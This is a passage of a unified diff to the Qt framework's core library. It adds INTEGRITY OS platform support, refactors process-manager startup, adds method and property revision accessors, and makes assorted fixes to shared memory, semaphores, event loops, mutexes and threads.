if (openMode & QIODevice::WriteOnly) access |= PROT_WRITE;
+#if defined(Q_OS_INTEGRITY)
+ int pageSize = sysconf(_SC_PAGESIZE);
+#else
int pageSize = getpagesize();
+#endif
int extra = offset % pageSize;
if (quint64(size + extra) > quint64((size_t)-1)) {
@@ -1079,6 +1083,7 @@ uchar *QFSFileEnginePrivate::map(qint64 offset, qint64 size, QFile::MemoryMapFla
bool QFSFileEnginePrivate::unmap(uchar *ptr)
{
+#if !defined(Q_OS_INTEGRITY)
Q_Q(QFSFileEngine);
if (!maps.contains(ptr)) {
q->setError(QFile::PermissionsError, qt_error_string(EACCES));
@@ -1093,6 +1098,9 @@ bool QFSFileEnginePrivate::unmap(uchar *ptr)
}
maps.remove(ptr);
return true;
+#else
+ return false;
+#endif
}
QT_END_NAMESPACE
diff --git a/src/corelib/io/qprocess_unix.cpp b/src/corelib/io/qprocess_unix.cpp
index b120f7f..ba61bda 100644
--- a/src/corelib/io/qprocess_unix.cpp
+++ b/src/corelib/io/qprocess_unix.cpp
@@ -169,27 +169,17 @@ private:
Q_GLOBAL_STATIC(QMutex, processManagerGlobalMutex)
-static QProcessManager *processManagerInstance = 0;
-
-static QProcessManager *processManager()
-{
+static QProcessManager *processManager() {
// The constructor of QProcessManager should be called only once
// so we cannot use Q_GLOBAL_STATIC directly for QProcessManager
QMutex *mutex = processManagerGlobalMutex();
QMutexLocker locker(mutex);
-
- if (!processManagerInstance)
- QProcessPrivate::initializeProcessManager();
-
- Q_ASSERT(processManagerInstance);
- return processManagerInstance;
+ static QProcessManager processManager;
+ return &processManager;
}
QProcessManager::QProcessManager()
{
- // can only be called from main thread
- Q_ASSERT(!qApp || qApp->thread() == QThread::currentThread());
-
#if defined (QPROCESS_DEBUG)
qDebug() << "QProcessManager::QProcessManager()";
#endif
@@ -208,8 +198,6 @@ QProcessManager::QProcessManager()
::sigaction(SIGCHLD, &action, &oldAction);
if (oldAction.sa_handler != qt_sa_sigchld_handler)
qt_sa_old_sigchld_handler = oldAction.sa_handler;
-
- processManagerInstance = this;
}
QProcessManager::~QProcessManager()
@@ -238,8 +226,6 @@ QProcessManager::~QProcessManager()
if (oldAction.sa_handler != qt_sa_sigchld_handler) {
::sigaction(SIGCHLD, &oldAction, 0);
}
-
- processManagerInstance = 0;
}
void QProcessManager::run()
@@ -659,7 +645,7 @@ void QProcessPrivate::startProcess()
if (childPid < 0) {
// Cleanup, report error and return
#if defined (QPROCESS_DEBUG)
- qDebug("qt_fork failed: %s", qt_error_string(lastForkErrno));
+ qDebug("qt_fork failed: %s", qPrintable(qt_error_string(lastForkErrno)));
#endif
processManager()->unlock();
q->setProcessState(QProcess::NotRunning);
@@ -863,7 +849,7 @@ qint64 QProcessPrivate::writeToStdin(const char *data, qint64 maxlen)
qDebug("QProcessPrivate::writeToStdin(%p \"%s\", %lld) == %lld",
data, qt_prettyDebug(data, maxlen, 16).constData(), maxlen, written);
if (written == -1)
- qDebug("QProcessPrivate::writeToStdin(), failed to write (%s)", qt_error_string(errno));
+ qDebug("QProcessPrivate::writeToStdin(), failed to write (%s)", qPrintable(qt_error_string(errno)));
#endif
// If the O_NONBLOCK flag is set and If some data can be written without blocking
// the process, write() will transfer what it can and return the number of bytes written.
@@ -1306,15 +1292,7 @@ bool QProcessPrivate::startDetached(const QString &program, const QStringList &a
void QProcessPrivate::initializeProcessManager()
{
- if (qApp && qApp->thread() != QThread::currentThread()) {
- // The process manager must be initialized in the main thread
- // Note: The call below will re-enter this function, but in the right thread,
- // so the else statement below will be executed.
- QMetaObject::invokeMethod(qApp, "_q_initializeProcessManager", Qt::BlockingQueuedConnection);
- } else {
- static QProcessManager processManager;
- Q_UNUSED(processManager);
- }
+ (void) processManager();
}
QT_END_NAMESPACE
diff --git a/src/corelib/io/qresource.cpp b/src/corelib/io/qresource.cpp
index 2a9d8ee..0435256 100644
--- a/src/corelib/io/qresource.cpp
+++ b/src/corelib/io/qresource.cpp
@@ -928,7 +928,7 @@ public:
}
};
-#if defined(Q_OS_UNIX) && !defined(Q_OS_SYMBIAN) && ! defined (Q_OS_NACL)
+#if defined(Q_OS_UNIX) && !defined(Q_OS_SYMBIAN) && !defined (Q_OS_NACL) && !defined(Q_OS_INTEGRITY)
#define QT_USE_MMAP
#endif
diff --git a/src/corelib/kernel/kernel.pri b/src/corelib/kernel/kernel.pri
index 93818d1..c3a6721 100644
--- a/src/corelib/kernel/kernel.pri
+++ b/src/corelib/kernel/kernel.pri
@@ -139,3 +139,19 @@ vxworks {
kernel/qfunctions_vxworks.h
}
+
+integrity {
+ SOURCES += \
+ kernel/qcore_unix.cpp \
+ kernel/qcrashhandler.cpp \
+ kernel/qsharedmemory_unix.cpp \
+ kernel/qsystemsemaphore_unix.cpp \
+ kernel/qeventdispatcher_unix.cpp
+ HEADERS += \
+ kernel/qcore_unix_p.h \
+ kernel/qcrashhandler_p.h \
+ kernel/qeventdispatcher_unix_p.h
+
+ contains(QT_CONFIG, clock-gettime):include($$QT_SOURCE_TREE/config.tests/unix/clock-gettime/clock-gettime.pri)
+}
+
diff --git a/src/corelib/kernel/qcore_symbian_p.h b/src/corelib/kernel/qcore_symbian_p.h
index 3ef71e0..5b48689 100644
--- a/src/corelib/kernel/qcore_symbian_p.h
+++ b/src/corelib/kernel/qcore_symbian_p.h
@@ -158,6 +158,22 @@ Q_CORE_EXPORT RFs& qt_s60GetRFs();
// Defined in qlocale_symbian.cpp.
Q_CORE_EXPORT QByteArray qt_symbianLocaleName(int code);
+template <typename R>
+struct QScopedPointerRCloser
+{
+ static inline void cleanup(R *rPointer)
+ {
+ // Enforce a complete type.
+ // If you get a compile error here, read the section on forward declared
+ // classes in the QScopedPointer documentation.
+ typedef char IsIncompleteType[ sizeof(R) ? 1 : -1 ];
+ (void) sizeof(IsIncompleteType);
+
+ if (rPointer)
+ rPointer->Close();
+ }
+};
+
QT_END_NAMESPACE
QT_END_HEADER
diff --git a/src/corelib/kernel/qcoreapplication.cpp b/src/corelib/kernel/qcoreapplication.cpp
index 9bd32d1..be86c58 100644
--- a/src/corelib/kernel/qcoreapplication.cpp
+++ b/src/corelib/kernel/qcoreapplication.cpp
@@ -392,16 +392,6 @@ void QCoreApplicationPrivate::createEventDispatcher()
#endif
}
-void QCoreApplicationPrivate::_q_initializeProcessManager()
-{
-#ifndef QT_NO_PROCESS
-# ifdef Q_OS_UNIX
- QProcessPrivate::initializeProcessManager();
-# endif
-#endif
-}
-
-
QThread *QCoreApplicationPrivate::theMainThread = 0;
QThread *QCoreApplicationPrivate::mainThread()
{
@@ -482,10 +472,10 @@ QString qAppName()
operations can call processEvents() to keep the application
responsive.
- In general, we recommend that you create a QCoreApplication or
- a QApplication object in your \c main() function as early as
- possible. exit() will not return until the event loop exits;
- e.g., when quit() is called.
+ In general, we recommend that you create a QCoreApplication or a
+ QApplication object in your \c main() function as early as
+ possible. exec() will not return until the event loop exits; e.g.,
+ when quit() is called.
Several static convenience functions are also provided. The
QCoreApplication object is available from instance(). Events can
@@ -666,6 +656,12 @@ void QCoreApplication::init()
}
#endif
+#if defined(Q_OS_UNIX) && !(defined(QT_NO_PROCESS))
+ // Make sure the process manager thread object is created in the main
+ // thread.
+ QProcessPrivate::initializeProcessManager();
+#endif
+
#ifdef QT_EVAL
extern void qt_core_eval_init(uint);
qt_core_eval_init(d->application_type);
@@ -2732,5 +2728,3 @@ int QCoreApplication::loopLevel()
*/
QT_END_NAMESPACE
-
-#include "moc_qcoreapplication.cpp"
diff --git a/src/corelib/kernel/qcoreapplication.h b/src/corelib/kernel/qcoreapplication.h
index 024c509..3957158 100644
--- a/src/corelib/kernel/qcoreapplication.h
+++ b/src/corelib/kernel/qcoreapplication.h
@@ -205,7 +205,6 @@ protected:
QCoreApplication(QCoreApplicationPrivate &p);
private:
- Q_PRIVATE_SLOT(d_func(), void _q_initializeProcessManager())
static bool sendSpontaneousEvent(QObject *receiver, QEvent *event);
bool notifyInternal(QObject *receiver, QEvent *event);
diff --git a/src/corelib/kernel/qcoreapplication_p.h b/src/corelib/kernel/qcoreapplication_p.h
index fdceab4..add2a35 100644
--- a/src/corelib/kernel/qcoreapplication_p.h
+++ b/src/corelib/kernel/qcoreapplication_p.h
@@ -85,8 +85,6 @@ public:
bool sendThroughObjectEventFilters(QObject *, QEvent *);
bool notify_helper(QObject *, QEvent *);
- void _q_initializeProcessManager();
-
virtual QString appName() const;
virtual void createEventDispatcher();
static void removePostedEvent(QEvent *);
diff --git a/src/corelib/kernel/qcrashhandler.cpp b/src/corelib/kernel/qcrashhandler.cpp
index 59f3796..fbdbac0 100644
--- a/src/corelib/kernel/qcrashhandler.cpp
+++ b/src/corelib/kernel/qcrashhandler.cpp
@@ -339,6 +339,9 @@ static void print_backtrace(FILE *outb)
"EOF\n",
globalProgName, (int)getpid()))
return;
+#elif defined(Q_OS_INTEGRITY)
+ /* abort */
+ CheckSuccess(Failure);
#else /* All other platforms */
/*
* TODO: SCO/UnixWare 7 must be something like (not tested)
diff --git a/src/corelib/kernel/qeventdispatcher_symbian.cpp b/src/corelib/kernel/qeventdispatcher_symbian.cpp
index 8872045..53796be 100644
--- a/src/corelib/kernel/qeventdispatcher_symbian.cpp
+++ b/src/corelib/kernel/qeventdispatcher_symbian.cpp
@@ -657,7 +657,7 @@ public:
: m_state(STATE_RUN), m_stop(false)
{
qt_symbian_throwIfError(m_lock.CreateLocal(0));
- TInt err = m_idleDetectorThread.Create(KNullDesC(), &idleDetectorThreadFunc, 1024, NULL, this);
+ TInt err = m_idleDetectorThread.Create(KNullDesC(), &idleDetectorThreadFunc, 1024, &User::Allocator(), this);
if (err != KErrNone)
m_lock.Close();
qt_symbian_throwIfError(err);
@@ -692,6 +692,7 @@ public:
private:
static TInt idleDetectorThreadFunc(TAny* self)
{
+ User::RenameThread(_L("IdleDetectorThread"));
static_cast<QIdleDetectorThread*>(self)->IdleLoop();
return KErrNone;
}
@@ -809,7 +810,7 @@ bool QEventDispatcherSymbian::processEvents ( QEventLoop::ProcessEventsFlags fla
m_interrupt = false;
#ifdef QT_SYMBIAN_PRIORITY_DROP
- QTime eventTimer;
+ QElapsedTimer eventTimer;
#endif
while (1) {
diff --git a/src/corelib/kernel/qeventdispatcher_symbian_p.h b/src/corelib/kernel/qeventdispatcher_symbian_p.h
index b785aea..bdb6dce 100644
--- a/src/corelib/kernel/qeventdispatcher_symbian_p.h
+++ b/src/corelib/kernel/qeventdispatcher_symbian_p.h
@@ -63,6 +63,7 @@
#include <qwaitcondition.h>
#include <qsocketnotifier.h>
#include <qdatetime.h>
+#include <qelapsedtimer.h>
#include <e32base.h>
@@ -284,7 +285,7 @@ private:
int m_delay;
int m_avgEventTime;
- QTime m_lastIdleRequestTimer;
+ QElapsedTimer m_lastIdleRequestTimer;
};
#ifdef QT_DEBUG
diff --git a/src/corelib/kernel/qeventdispatcher_unix.cpp b/src/corelib/kernel/qeventdispatcher_unix.cpp
index 46604b0..dceb51d 100644
--- a/src/corelib/kernel/qeventdispatcher_unix.cpp
+++ b/src/corelib/kernel/qeventdispatcher_unix.cpp
@@ -116,7 +116,7 @@ QEventDispatcherUNIXPrivate::QEventDispatcherUNIXPrivate()
// do nothing.
#elif defined(Q_OS_INTEGRITY)
// INTEGRITY doesn't like a "select" on pipes, so use socketpair instead
- if (socketpair(AF_INET, SOCK_STREAM, PF_INET, thread_pipe) == -1) {
+ if (socketpair(AF_INET, SOCK_STREAM, 0, thread_pipe) == -1) {
perror("QEventDispatcherUNIXPrivate(): Unable to create socket pair");
pipefail = true;
} else {
@@ -343,7 +343,7 @@ timeval QTimerInfoList::updateCurrentTime()
return (currentTime = qt_gettime());
}
-#if ((_POSIX_MONOTONIC_CLOCK-0 <= 0) && !defined(Q_OS_MAC)) || defined(QT_BOOTSTRAPPED)
+#if ((_POSIX_MONOTONIC_CLOCK-0 <= 0) && !defined(Q_OS_MAC) && !defined(Q_OS_INTEGRITY)) || defined(QT_BOOTSTRAPPED)
template <>
timeval qAbs(const timeval &t)
@@ -509,7 +509,6 @@ bool QTimerInfoList::unregisterTimer(int timerId)
}
}
// id not found
- qWarning("Application asked to unregister timer 0x%x which is not registered in this thread. Fix application.", timerId);
return false;
}
diff --git a/src/corelib/kernel/qeventdispatcher_win.cpp b/src/corelib/kernel/qeventdispatcher_win.cpp
index 3d8352e..6badb6a 100644
--- a/src/corelib/kernel/qeventdispatcher_win.cpp
+++ b/src/corelib/kernel/qeventdispatcher_win.cpp
@@ -532,10 +532,7 @@ LRESULT QT_WIN_CALLBACK qt_GetMessageHook(int code, WPARAM wp, LPARAM lp)
PostMessage(d->internalHwnd, WM_QT_SENDPOSTEDEVENTS, 0, 0);
}
} else if (d->sendPostedEventsWindowsTimerId == 0
- && localSerialNumber != d->lastSerialNumber
- // if this message IS the one that triggers sendPostedEvents(), no need to post it again
- && (msg->hwnd != d->internalHwnd
- || msg->message != WM_QT_SENDPOSTEDEVENTS)) {
+ && localSerialNumber != d->lastSerialNumber) {
// start a special timer to continue delivering posted events while
// there are still input and timer messages in the message queue
d->sendPostedEventsWindowsTimerId = SetTimer(d->internalHwnd,
diff --git a/src/corelib/kernel/qeventloop.cpp b/src/corelib/kernel/qeventloop.cpp
index e78f86a..d213b0e 100644
--- a/src/corelib/kernel/qeventloop.cpp
+++ b/src/corelib/kernel/qeventloop.cpp
@@ -175,6 +175,8 @@ bool QEventLoop::processEvents(ProcessEventsFlags flags)
int QEventLoop::exec(ProcessEventsFlags flags)
{
Q_D(QEventLoop);
+ //we need to protect from race condition with QThread::exit
+ QMutexLocker locker(&static_cast<QThreadPrivate *>(QObjectPrivate::get(d->threadData->thread))->mutex);
if (d->threadData->quitNow)
return -1;
@@ -186,6 +188,7 @@ int QEventLoop::exec(ProcessEventsFlags flags)
d->exit = false;
++d->threadData->loopLevel;
d->threadData->eventLoops.push(this);
+ locker.unlock();
// remove posted quit events when entering a new event loop
QCoreApplication *app = QCoreApplication::instance();
@@ -205,6 +208,7 @@ int QEventLoop::exec(ProcessEventsFlags flags)
"reimplement QApplication::notify() and catch all exceptions there.\n");
// copied from below
+ locker.relock();
QEventLoop *eventLoop = d->threadData->eventLoops.pop();
Q_ASSERT_X(eventLoop == this, "QEventLoop::exec()", "internal error");
Q_UNUSED(eventLoop); // --release warning
@@ -216,6 +220,7 @@ int QEventLoop::exec(ProcessEventsFlags flags)
#endif
// copied above
+ locker.relock();
QEventLoop *eventLoop = d->threadData->eventLoops.pop();
Q_ASSERT_X(eventLoop == this, "QEventLoop::exec()", "internal error");
Q_UNUSED(eventLoop); // --release warning
diff --git a/src/corelib/kernel/qmetaobject.cpp b/src/corelib/kernel/qmetaobject.cpp
index 7928f4f..c5775f6 100644
--- a/src/corelib/kernel/qmetaobject.cpp
+++ b/src/corelib/kernel/qmetaobject.cpp
@@ -1387,6 +1387,25 @@ int QMetaMethod::methodIndex() const
}
/*!
+ \internal
+
+ Returns the method revision if one was
+ specified by Q_REVISION, otherwise returns 0.
+ */
+int QMetaMethod::revision() const
+{
+ if (!mobj)
+ return 0;
+ if ((QMetaMethod::Access)(mobj->d.data[handle + 4] & MethodRevisioned)) {
+ int offset = priv(mobj->d.data)->methodData
+ + priv(mobj->d.data)->methodCount * 5
+ + (handle - priv(mobj->d.data)->methodData) / 5;
+ return mobj->d.data[offset];
+ }
+ return 0;
+}
+
+/*!
Returns the access specification of this method (private,
protected, or public).
@@ -2394,6 +2413,35 @@ int QMetaProperty::notifySignalIndex() const
}
/*!
+ \internal
+
+ Returns the property revision if one was
+ specified by REVISION, otherwise returns 0.
+ */
+int QMetaProperty::revision() const
+{
+ if (!mobj)
+ return 0;
+ int flags = mobj->d.data[handle + 2];
+ if (flags & Revisioned) {
+ int offset = priv(mobj->d.data)->propertyData +
+ priv(mobj->d.data)->propertyCount * 3 + idx;
+ // Revision data is placed after NOTIFY data, if present.
+ // Iterate through properties to discover whether we have NOTIFY signals.
+ for (int i = 0; i < priv(mobj->d.data)->propertyCount; ++i) {
+ int handle = priv(mobj->d.data)->propertyData + 3*i;
+ if (mobj->d.data[handle + 2] & Notify) {
+ offset += priv(mobj->d.data)->propertyCount;
+ break;
+ }
+ }
+ return mobj->d.data[offset];
+ } else {
+ return 0;
+ }
+}
+
+/*!
Returns true if this property is writable; otherwise returns
false.
diff --git a/src/corelib/kernel/qmetaobject.h b/src/corelib/kernel/qmetaobject.h
index 4fb353d..e9bba45 100644
--- a/src/corelib/kernel/qmetaobject.h
+++ b/src/corelib/kernel/qmetaobject.h
@@ -70,6 +70,7 @@ public:
enum Attributes { Compatibility = 0x1, Cloned = 0x2, Scriptable = 0x4 };
int attributes() const;
int methodIndex() const;
+ int revision() const;
inline const QMetaObject *enclosingMetaObject() const { return mobj; }
@@ -202,6 +203,8 @@ public:
QMetaMethod notifySignal() const;
int notifySignalIndex() const;
+ int revision() const;
+
QVariant read(const QObject *obj) const;
bool write(QObject *obj, const QVariant &value) const;
bool reset(QObject *obj) const;
diff --git a/src/corelib/kernel/qmetaobject_p.h b/src/corelib/kernel/qmetaobject_p.h
index dd0baf0..210b32c 100644
--- a/src/corelib/kernel/qmetaobject_p.h
+++ b/src/corelib/kernel/qmetaobject_p.h
@@ -78,7 +78,8 @@ enum PropertyFlags {
ResolveEditable = 0x00080000,
User = 0x00100000,
ResolveUser = 0x00200000,
- Notify = 0x00400000
+ Notify = 0x00400000,
+ Revisioned = 0x00800000
};
enum MethodFlags {
@@ -95,7 +96,8 @@ enum MethodFlags {
MethodCompatibility = 0x10,
MethodCloned = 0x20,
- MethodScriptable = 0x40
+ MethodScriptable = 0x40,
+ MethodRevisioned = 0x80
};
enum MetaObjectFlags {
diff --git a/src/corelib/kernel/qmetatype.h b/src/corelib/kernel/qmetatype.h
index 47d3a3b..a2bb7d1 100644
--- a/src/corelib/kernel/qmetatype.h
+++ b/src/corelib/kernel/qmetatype.h
@@ -138,7 +138,7 @@ template <typename T>
void *qMetaTypeConstructHelper(const T *t)
{
if (!t)
- return new T;
+ return new T();
return new T(*static_cast<const T*>(t));
}
diff --git a/src/corelib/kernel/qobject.h b/src/corelib/kernel/qobject.h
index 5a7ee2f..0ad73f5 100644
--- a/src/corelib/kernel/qobject.h
+++ b/src/corelib/kernel/qobject.h
@@ -370,18 +370,18 @@ template <class T>
inline T qobject_cast(QObject *object)
{
#if !defined(QT_NO_QOBJECT_CHECK)
- reinterpret_cast<T>(0)->qt_check_for_QOBJECT_macro(*reinterpret_cast<T>(object));
+ reinterpret_cast<T>(object)->qt_check_for_QOBJECT_macro(*reinterpret_cast<T>(object));
#endif
- return static_cast<T>(reinterpret_cast<T>(0)->staticMetaObject.cast(object));
+ return static_cast<T>(reinterpret_cast<T>(object)->staticMetaObject.cast(object));
}
template <class T>
inline T qobject_cast(const QObject *object)
{
#if !defined(QT_NO_QOBJECT_CHECK)
- reinterpret_cast<T>(0)->qt_check_for_QOBJECT_macro(*reinterpret_cast<T>(const_cast<QObject *>(object)));
+ reinterpret_cast<T>(object)->qt_check_for_QOBJECT_macro(*reinterpret_cast<T>(const_cast<QObject *>(object)));
#endif
- return static_cast<T>(reinterpret_cast<T>(0)->staticMetaObject.cast(object));
+ return static_cast<T>(reinterpret_cast<T>(object)->staticMetaObject.cast(object));
}
diff --git a/src/corelib/kernel/qobjectdefs.h b/src/corelib/kernel/qobjectdefs.h
index 94e6241..54b5ab2 100644
--- a/src/corelib/kernel/qobjectdefs.h
+++ b/src/corelib/kernel/qobjectdefs.h
@@ -79,6 +79,7 @@ class QString;
#define Q_INTERFACES(x)
#define Q_PROPERTY(text)
#define Q_PRIVATE_PROPERTY(d, text)
+#define Q_REVISION(v)
#define Q_OVERRIDE(text)
#define Q_ENUMS(x)
#define Q_FLAGS(x)
@@ -180,6 +181,7 @@ private:
#define Q_INTERFACES(x) Q_INTERFACES(x)
#define Q_PROPERTY(text) Q_PROPERTY(text)
#define Q_PRIVATE_PROPERTY(d, text) Q_PRIVATE_PROPERTY(d, text)
+#define Q_REVISION(v) Q_REVISION(v)
#define Q_OVERRIDE(text) Q_OVERRIDE(text)
#define Q_ENUMS(x) Q_ENUMS(x)
#define Q_FLAGS(x) Q_FLAGS(x)
diff --git a/src/corelib/kernel/qsharedmemory.cpp b/src/corelib/kernel/qsharedmemory.cpp
index b61509e..78715a1 100644
--- a/src/corelib/kernel/qsharedmemory.cpp
+++ b/src/corelib/kernel/qsharedmemory.cpp
@@ -458,11 +458,7 @@ bool QSharedMemory::detach()
return false;
#endif
- if (d->detach()) {
- d->size = 0;
- return true;
- }
- return false;
+ return d->detach();
}
/*!
diff --git a/src/corelib/kernel/qsharedmemory_unix.cpp b/src/corelib/kernel/qsharedmemory_unix.cpp
index fc0a438..b30117f 100644
--- a/src/corelib/kernel/qsharedmemory_unix.cpp
+++ b/src/corelib/kernel/qsharedmemory_unix.cpp
@@ -198,7 +198,7 @@ bool QSharedMemoryPrivate::create(int size)
}
// create
- if (-1 == shmget(handle(), size, 0666 | IPC_CREAT | IPC_EXCL)) {
+ if (-1 == shmget(unix_key, size, 0666 | IPC_CREAT | IPC_EXCL)) {
QString function = QLatin1String("QSharedMemory::create");
switch (errno) {
case EINVAL:
@@ -219,10 +219,7 @@ bool QSharedMemoryPrivate::create(int size)
bool QSharedMemoryPrivate::attach(QSharedMemory::AccessMode mode)
{
// grab the shared memory segment id
- if (!handle())
- return false;
-
- int id = shmget(handle(), 0, (mode == QSharedMemory::ReadOnly ? 0444 : 0660));
+ int id = shmget(unix_key, 0, (mode == QSharedMemory::ReadOnly ? 0444 : 0660));
if (-1 == id) {
setErrorString(QLatin1String("QSharedMemory::attach (shmget)"));
return false;
@@ -264,12 +261,11 @@ bool QSharedMemoryPrivate::detach()
return false;
}
memory = 0;
+ size = 0;
// Get the number of current attachments
- if (!handle())
- return false;
- int id = shmget(handle(), 0, 0444);
- unix_key = 0;
+ int id = shmget(unix_key, 0, 0444);
+ cleanHandle();
struct shmid_ds shmid_ds;
if (0 != shmctl(id, IPC_STAT, &shmid_ds)) {
diff --git a/src/corelib/kernel/qsharedmemory_win.cpp b/src/corelib/kernel/qsharedmemory_win.cpp
index 75ab4e8..bc13e33 100644
--- a/src/corelib/kernel/qsharedmemory_win.cpp
+++ b/src/corelib/kernel/qsharedmemory_win.cpp
@@ -123,8 +123,8 @@ bool QSharedMemoryPrivate::cleanHandle()
{
if (hand != 0 && !CloseHandle(hand)) {
hand = 0;
- return false;
setErrorString(QLatin1String("QSharedMemory::cleanHandle"));
+ return false;
}
hand = 0;
return true;
@@ -183,6 +183,7 @@ bool QSharedMemoryPrivate::detach()
return false;
}
memory = 0;
+ size = 0;
// close handle
return cleanHandle();
diff --git a/src/corelib/kernel/qsystemsemaphore_symbian.cpp b/src/corelib/kernel/qsystemsemaphore_symbian.cpp
index 07cfffc..0d257b8 100644
--- a/src/corelib/kernel/qsystemsemaphore_symbian.cpp
+++ b/src/corelib/kernel/qsystemsemaphore_symbian.cpp
@@ -73,6 +73,7 @@ void QSystemSemaphorePrivate::setErrorString(const QString &function, int err)
case KErrInUse:
errorString = QCoreApplication::tr("%1: out of resources", "QSystemSemaphore").arg(function);
error = QSystemSemaphore::OutOfResources;
+ break;
case KErrPermissionDenied:
errorString = QCoreApplication::tr("%1: permission denied", "QSystemSemaphore").arg(function);
error = QSystemSemaphore::PermissionDenied;
@@ -97,8 +98,7 @@ int QSystemSemaphorePrivate::handle(QSystemSemaphore::AccessMode)
if (key.isEmpty())
return 0;
- QString safeName = makeKeyFileName();
- TPtrC name(qt_QString2TPtrC(safeName));
+ TPtrC name(qt_QString2TPtrC(fileName));
int err = KErrAlreadyExists;
int tryCount = 10;
// Sort out race conditions by retrying several times until existing handle is acquired.
diff --git a/src/corelib/kernel/qsystemsemaphore_win.cpp b/src/corelib/kernel/qsystemsemaphore_win.cpp
index 7f002f8..fad50f2 100644
--- a/src/corelib/kernel/qsystemsemaphore_win.cpp
+++ b/src/corelib/kernel/qsystemsemaphore_win.cpp
@@ -86,8 +86,7 @@ HANDLE QSystemSemaphorePrivate::handle(QSystemSemaphore::AccessMode)
// Create it if it doesn't already exists.
if (semaphore == 0) {
- QString safeName = makeKeyFileName();
- semaphore = CreateSemaphore(0, initialValue, MAXLONG, (wchar_t*)safeName.utf16());
+ semaphore = CreateSemaphore(0, initialValue, MAXLONG, (wchar_t*)fileName.utf16());
if (semaphore == NULL)
setErrorString(QLatin1String("QSystemSemaphore::handle"));
}
diff --git a/src/corelib/kernel/qtranslator.cpp b/src/corelib/kernel/qtranslator.cpp
index d72c1ab..daa5dc6 100644
--- a/src/corelib/kernel/qtranslator.cpp
+++ b/src/corelib/kernel/qtranslator.cpp
@@ -56,7 +56,7 @@
#include "qhash.h"
#include "qtranslator_p.h"
-#if defined(Q_OS_UNIX) && !defined(Q_OS_SYMBIAN)
+#if defined(Q_OS_UNIX) && !defined(Q_OS_SYMBIAN) && !defined(Q_OS_INTEGRITY)
#define QT_USE_MMAP
#include "private/qcore_unix_p.h"
#endif
diff --git a/src/corelib/plugin/plugin.pri b/src/corelib/plugin/plugin.pri
index 50b005d..eb7a7f7 100644
--- a/src/corelib/plugin/plugin.pri
+++ b/src/corelib/plugin/plugin.pri
@@ -28,4 +28,8 @@ unix {
SOURCES += plugin/qlibrary_unix.cpp
}
+integrity {
+ SOURCES += plugin/qlibrary_unix.cpp
+}
+
LIBS_PRIVATE += $$QMAKE_LIBS_DYNLOAD
diff --git a/src/corelib/plugin/qfactoryloader.cpp b/src/corelib/plugin/qfactoryloader.cpp
index 1be32ad..c0b947a 100644
--- a/src/corelib/plugin/qfactoryloader.cpp
+++ b/src/corelib/plugin/qfactoryloader.cpp
@@ -155,9 +155,11 @@ void QFactoryLoader::update()
continue;
}
QObject *instance = library->instance();
- if (!instance)
+ if (!instance) {
+ library->release();
// ignore plugins that have a valid signature but cannot be loaded.
continue;
+ }
QFactoryInterface *factory = qobject_cast<QFactoryInterface*>(instance);
if (instance && factory && instance->qt_metacast(d->iid))
keys = factory->keys();
diff --git a/src/corelib/statemachine/qstatemachine.cpp b/src/corelib/statemachine/qstatemachine.cpp
index 392c45d..b2af5ca 100644
--- a/src/corelib/statemachine/qstatemachine.cpp
+++ b/src/corelib/statemachine/qstatemachine.cpp
@@ -1245,9 +1245,7 @@ void QStateMachinePrivate::_q_process()
#endif
while (processing) {
if (stop) {
- stop = false;
processing = false;
- stopProcessingReason = Stopped;
break;
}
QSet<QAbstractTransition*> enabledTransitions;
@@ -1299,6 +1297,11 @@ void QStateMachinePrivate::_q_process()
#ifdef QSTATEMACHINE_DEBUG
qDebug() << q << ": finished the event processing loop";
#endif
+ if (stop) {
+ stop = false;
+ stopProcessingReason = Stopped;
+ }
+
switch (stopProcessingReason) {
case EventQueueEmpty:
break;
diff --git a/src/corelib/thread/qmutex.h b/src/corelib/thread/qmutex.h
index dfe4aae..5f75195 100644
--- a/src/corelib/thread/qmutex.h
+++ b/src/corelib/thread/qmutex.h
@@ -163,6 +163,7 @@ class QMutexData
~QMutexData();
};
+#ifdef QT_NO_DEBUG
inline void QMutex::unlockInline()
{
if (d->recursive) {
@@ -189,7 +190,13 @@ inline void QMutex::lockInline()
lockInternal();
}
}
-
+#else // QT_NO_DEBUG
+//in debug we do not use inline calls in order to allow debugging tools
+// to hook the mutex locking functions.
+inline void QMutex::unlockInline() { unlock(); }
+inline bool QMutex::tryLockInline() { return tryLock(); }
+inline void QMutex::lockInline() { lock(); }
+#endif // QT_NO_DEBUG
#else // QT_NO_THREAD
diff --git a/src/corelib/thread/qmutex_unix.cpp b/src/corelib/thread/qmutex_unix.cpp
index 5321252..11e2060 100644
--- a/src/corelib/thread/qmutex_unix.cpp
+++ b/src/corelib/thread/qmutex_unix.cpp
@@ -180,8 +180,11 @@ bool QMutexPrivate::wait(int timeout)
errorCode = pthread_cond_timedwait(&cond, &mutex, &ti);
}
if (errorCode) {
- if (errorCode == ETIMEDOUT)
+ if (errorCode == ETIMEDOUT) {
+ if (wakeup)
+ errorCode = 0;
break;
+ }
report_error(errorCode, "QMutex::lock()", "cv wait");
}
}
diff --git a/src/corelib/thread/qthread.cpp b/src/corelib/thread/qthread.cpp
index 1494745..326f494 100644
--- a/src/corelib/thread/qthread.cpp
+++ b/src/corelib/thread/qthread.cpp
@@ -515,10 +515,12 @@ int QThread::exec()
Note that unlike the C library function of the same name, this
function \e does return to the caller -- it is event processing
- that stops.
-
- This function does nothing if the thread does not have an event
- loop.
+ that stops.
+
+ No QEventLoops will be started anymore in this thread until
+ QThread::exec() has been called again. If the eventloop in QThread::exec()
+ is not running then the next call to QThread::exec() will also return
+ immediately.
\sa quit() QEventLoop
*/
diff --git a/src/corelib/thread/qthread_p.h b/src/corelib/thread/qthread_p.h
index 9a2dbec..36e07c0 100644
--- a/src/corelib/thread/qthread_p.h
+++ b/src/corelib/thread/qthread_p.h
@@ -209,8 +209,6 @@ public:
bool canWait;
QVector<void *> tls;
- QMutex mutex;
-
# ifdef Q_OS_SYMBIAN
RThread symbian_thread_handle;
# endif
diff --git a/src/corelib/thread/qthread_unix.cpp b/src/corelib/thread/qthread_unix.cpp
index 0766447..5e0d2a2 100644
--- a/src/corelib/thread/qthread_unix.cpp
+++ b/src/corelib/thread/qthread_unix.cpp
@@ -110,6 +110,17 @@ QT_BEGIN_NAMESPACE
enum { ThreadPriorityResetFlag = 0x80000000 };
+#if defined(Q_OS_LINUX) && defined(__GLIBC__) && (defined(Q_CC_GNU) || defined(Q_CC_INTEL))
+#define HAVE_TLS
+#endif
+#if defined(Q_CC_XLC) || defined (Q_CC_SUN)
+#define HAVE_TLS
+#endif
+
+#ifdef HAVE_TLS
+static __thread QThreadData *currentThreadData = 0;
+#endif
+
